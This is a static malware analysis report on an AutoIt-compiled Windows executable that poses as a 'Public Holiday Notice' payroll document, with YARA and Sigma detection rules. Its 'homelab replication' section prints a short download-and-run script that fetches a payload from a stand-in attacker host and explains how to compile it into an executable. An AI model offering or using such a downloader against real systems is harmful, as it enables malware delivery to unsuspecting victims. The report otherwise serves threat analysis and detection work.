unclassified-autoit-compiled: ef71e0f6 — AutoItSC PE32 with 186 KB encrypted SCRIPT resource, "Public Holiday Notice" payroll lure

Executive Summary

A 1.05 MB PE32 x86 compiled with the AutoIt v3 single-file compiler (AutoItSC). The binary embeds a 186 KB compiled AutoIt script (resource type 10, ID SCRIPT) with AU3!EA06 header/trailer, encrypted/compiled to bytecode. Filename Public_Holiday_Notice_2024.exe masquerades as a human-resources payroll document — a holiday-themed social-engineering lure targeting employees expecting time-off announcements. No CAPE detonation available; static analysis reveals full WinInet/WinSock networking imports and GDI screenshot primitives, but no hardcoded C2 strings. This is the sixth confirmed sibling of the unclassified-autoit-compiled single-file PE32 cluster and the smallest by embedded script size.

What It Is

The binary is not an IExpress SFX, not UPX-packed, and not a .NET assembly. It is the direct output of the AutoIt v3 single-file compiler, which links the AutoIt interpreter runtime with the user's compiled script into a single PE.^[strings.txt:782]

Cluster Delta

This is the sixth confirmed sibling in the unclassified-autoit-compiled cluster. Per-sample distinguishing traits:

^[/intel/analyses/ac2ca0601a108d722b78f1b6404117f72144d74d3b37a76ed9782d20cff2384b.html] ^[/intel/analyses/2c6133cab1050c0c1be6649a55b14f5c48298fd7cef042d97326acd068a14f2f.html] ^[/intel/analyses/ff84806a2a126d998d52b895d71e137acd313ca92dc0c1445bd0ba6509df7a4f.html] ^[/intel/analyses/6cc26f7c50c9d2a309cb6de2059976acf46d3c50930a9e72e9d260c432b28f54.html] ^[/intel/analyses/1d0834e7d4fe46aa143359a35c69bebc449fc1b1799af77eb96a4cbe320b6884.html]

Notable delta: This sample uses the oldest linker in the post-2020 cluster (VS 2013, linker 12.0), suggesting the attacker either uses an older AutoItSC toolchain or deliberately selects it for compatibility with older Windows targets. The 186 KB SCRIPT is the smallest in the cluster, possibly indicating a stripped-down payload or a different script purpose (e.g., downloader vs. full RAT).

How It Works

Stage 1 — AutoIt Runtime Bootstrap

The entry point at 0x2800a is standard AutoItSC C runtime initialization:^[rabin2-info.txt:14]

1. __security_init_cookie → __mainCRTStartup → main() stub.
2. main() initializes the AutoIt runtime and hands control to the compiled script engine.
3. The script engine loads the compiled bytecode from resource type 10 (RT_RCDATA) ID SCRIPT (186 KB) from .rsrc.

Stage 2 — Compiled Script Execution

The SCRIPT resource has AU3!EA06 magic at offset 0x10 and a matching trailer at offset 185982, confirming it is a compiled AutoIt v3 script.^[python resource extraction] The body between the two markers is encrypted/compiled bytecode — no plaintext strings, no hardcoded URLs, no file paths. Without an AutoIt decompiler (e.g., MyAut2Exe) or dynamic execution, the script logic is opaque.

Printable strings extracted from the 186 KB script body: only 37 short fragments, all random noise or truncated byte sequences. No URL, IP, file path, or English-language string recovered.^[python resource string extraction]

Notable imports available to the script runtime (from the PE IAT):^[pefile.txt:274-500]

• Networking: InternetOpenUrlW, HttpSendRequestW, FtpOpenFileW, socket, connect, send, recv (WinInet + WSOCK32)
• Process manipulation: CreateProcessW, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, TerminateProcess
• Registry: RegSetValueExW, RegCreateKeyExW, RegQueryValueExW, RegDeleteValueW
• File system: CreateFileW, WriteFile, ReadFile, DeleteFileW, MoveFileW, CopyFileExW, FindFirstFileW
• Input capture: GetAsyncKeyState, SendInput, keybd_event, mouse_event
• Screenshot: GDI32 (CreateCompatibleDC, BitBlt, StretchBlt, GetDIBits)
• Clipboard: OpenClipboard, GetClipboardData, SetClipboardData

These imports indicate the script has the capability for keylogging, screenshots, clipboard monitoring, file system operations, registry persistence, and network C2 — but no specific indicators are recoverable statically.

Stage 3 — No Observable Dropper Behaviour

Unlike asgardprotector or the 54e64e cluster, this sample does not drop a separate AutoIt3.exe and .a3x file. The entire threat logic lives inside the single PE. There is no batch reconstruction, no CAB extraction, no SFX stage. This is a simpler, more direct deployment pattern.

Decompiled Behavior

capa terminates with an AutoIt file-limitation warning and produces no capability hits:^[capa.txt]

"This sample appears to be compiled with AutoIt. AutoIt is a freeware BASIC-like scripting language designed for automating the Windows GUI. capa cannot handle AutoIt scripts."

radare2 confirms:

• entry0 at 0x2800a — standard CRT startup with SEH frame.^[rabin2-info.txt:14]
• No anti-debug checks, no VM detection, no packed/decryption loops in the native code. The AutoIt runtime itself does not implement anti-analysis beyond the natural opacity of compiled script bytecode.

C2 Infrastructure

None recovered. The compiled script resource is encrypted bytecode. No hardcoded domains, IPs, URLs, mutexes, or file paths were found in the PE strings, or extracted resource.^[strings.txt] ^[floss.txt:1-6] (Note: floss.txt shows only a CLI argument error — the tool was mis-invoked and produced no decoded strings.)

The WinInet and WSOCK32 imports confirm network capability, but the actual C2 endpoints are runtime-resolved within the compiled script. Dynamic analysis is required.

Interesting Tidbits

• Filename lure: Public_Holiday_Notice_2024.exe — "Public Holiday Notice" is a payroll/HR document theme, suggesting spear-phishing to employees expecting annual-leave or public-holiday announcements. Targeting calendar-sensitive moments (late 2024, ahead of year-end holidays).
• Clean timestamp: The PE compilation date 2024-09-04 is plausible and recent (relative to the triage date 2026-05-26), unlike the fabricated future dates seen in IExpress-repacked samples. This suggests the binary was compiled directly by the attacker with AutoItSC, not repacked from a legitimate tool.
• No obfuscation in native code: Unlike the heavily obfuscated C++ droppers in the corpus, this sample's native code is plain AutoIt runtime. The only obfuscation is the compiled script encryption, which is a property of AutoItSC itself.
• High-entropy .rsrc: Section entropy 7.77/8.0 is driven almost entirely by the 186 KB SCRIPT resource. The remaining resources (11 icon groups, manifest, dialogs, version info) are standard Windows GUI artefacts.^[python resource extraction]
• Unsigned, no version info: VS_VERSIONINFO block exists but contains only language/charset fields; no company name, product name, or file description.^[pefile.txt:229-273]
• YARA hits: Only generic rules (PE_File_Generic, Suspicious_Wininet_Imports). No family-specific signatures exist.^[yara.txt]
• PCRE runtime included: The AutoIt interpreter embeds a full PCRE regex engine (strings at lines 594–676), enabling complex pattern matching for data harvesting within the script.^[strings.txt:594-676]

How To Mess With It (Homelab Replication)

Reproducing a compiled AutoIt malware executable:

1. Install AutoIt v3.3.16.1 from https://www.autoitscript.com (legitimate tool).
2. Write a simple malicious script (e.g., download + execute):

   #include <InetConstants.au3>
   Local $url = "http://attacker.com/payload.exe"
   Local $file = @TempDir & "\payload.exe"
   InetGet($url, $file, 1, 0)
   Run($file)
   

3. Compile with AutoItSC (right-click → Compile Script, or Aut2Exe.exe).
4. Verify the output PE has a SCRIPT resource in .rsrc with AU3!EA06 header.
5. Run capa on the output — should hit the same AutoIt file-limitation warning.

What you'll learn: AutoItSC is a trivial way to produce a standalone PE with full Windows API access and natural script-bytecode obfuscation. Detection must focus on the AutoIt runtime fingerprint (PE sections, SCRIPT resource, import table) rather than script contents.

Deployable Signatures

YARA Rule

rule AutoItSC_SingleFile_PE32_Generic
{
    meta:
        description = "Detects AutoIt v3 single-file compiled PE32 with SCRIPT resource"
        author = "PacketPursuit"
        date = "2026-06-19"
        reference = "/intel/analyses/ef71e0f650ea8e2673398aa4cab67be6628090b1b6375b7b8e027f26885d46e1.html"
    strings:
        $au3_magic = "AU3!EA06" ascii wide
        $autoit_str = "This is a third-party compiled AutoIt script." ascii wide
        $pcre_err1 = "numbers out of order in {} quantifier" ascii
        $pcre_err2 = "regular expression is too large" ascii
        $wininet1 = "InternetOpenUrlW" ascii
        $wininet2 = "HttpSendRequestW" ascii
        $wsock1 = "WSOCK32.dll" ascii
    condition:
        uint16(0) == 0x5A4D and
        uint32(uint32(0x3C)) == 0x00004550 and
        uint16(uint32(0x3C)+0x18) == 0x10B and // PE32
        ($au3_magic or $autoit_str) and
        2 of ($pcre_err*) and
        2 of ($wininet*, $wsock1)
}

Sigma Rule

title: AutoIt Compiled Script Execution with Network Capability
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        Image|endswith:
            - '.exe'
    selection_imports:
        CommandLine|contains:
            - 'Public_Holiday_Notice'
            - 'AUG_SOA'
            - 'Invoice.exe'
    selection_api:
        - CallTrace|contains:
            - 'WSOCK32.dll'
            - 'WININET.dll'
    selection_rsrc:
        - Hashes|contains:
            - 'AU3!EA06'
    condition: selection_img and (selection_imports or selection_api or selection_rsrc)
falsepositives:
    - Legitimate AutoIt-compiled administration tools
level: medium

IOC List

Behavioral Fingerprint

This binary is a PE32 x86 GUI executable produced by the AutoIt v3 single-file compiler (AutoItSC). It carries a 186 KB compiled script resource (SCRIPT, type 10) with AU3!EA06 header/trailer encryption. The import table is broad and un-obfuscated: WinInet/WSOCK32 for HTTP/FTP/raw-socket networking, ADVAPI32 for registry read/write, GDI32 for screenshot capture, and USER32 for clipboard and keystroke monitoring. No anti-debug, no VM checks, no packing. The native code is plain MSVC C++ runtime; all threat logic lives in the encrypted script bytecode. On execution, the AutoIt interpreter decrypts and dispatches the script, which likely performs network beaconing, file system enumeration, and input capture. The sample is unsigned and carries minimal VS_VERSIONINFO.

Detection Signatures

References

• Artifact ID: dadd174c-6788-4b59-9e2b-1f87922c3f4d
• Source: OpenCTI / MalwareBazaar
• Related wiki pages: unclassified-autoit-compiled, autoit-compiled-script-dropper, asgardprotector

Provenance

Analysis based on:

• file.txt — file(1) output
• exiftool.json — ExifTool 12.76 PE metadata
• pefile.txt — pefile library full PE dump
• strings.txt — strings(1) extraction
• rabin2-info.txt — radare2 rabin2 -I header summary
• capa.txt — Mandiant capa (AutoIt limitation warning)
• yara.txt — YARA rule matches
• binwalk.txt — Binwalk signature scan
• ssdeep.txt — ssdeep fuzzy hash
• tlsh.txt — TLSH hash
• metadata.json — OpenCTI artifact metadata
• triage.json — triage pipeline metadata
• Python pefile resource extraction — SCRIPT resource header and string analysis
• dynamic-analysis.md — CAPE skipped (no Windows guest)

All claims cite provenance with ^[filename] or ^[filename:line] markers.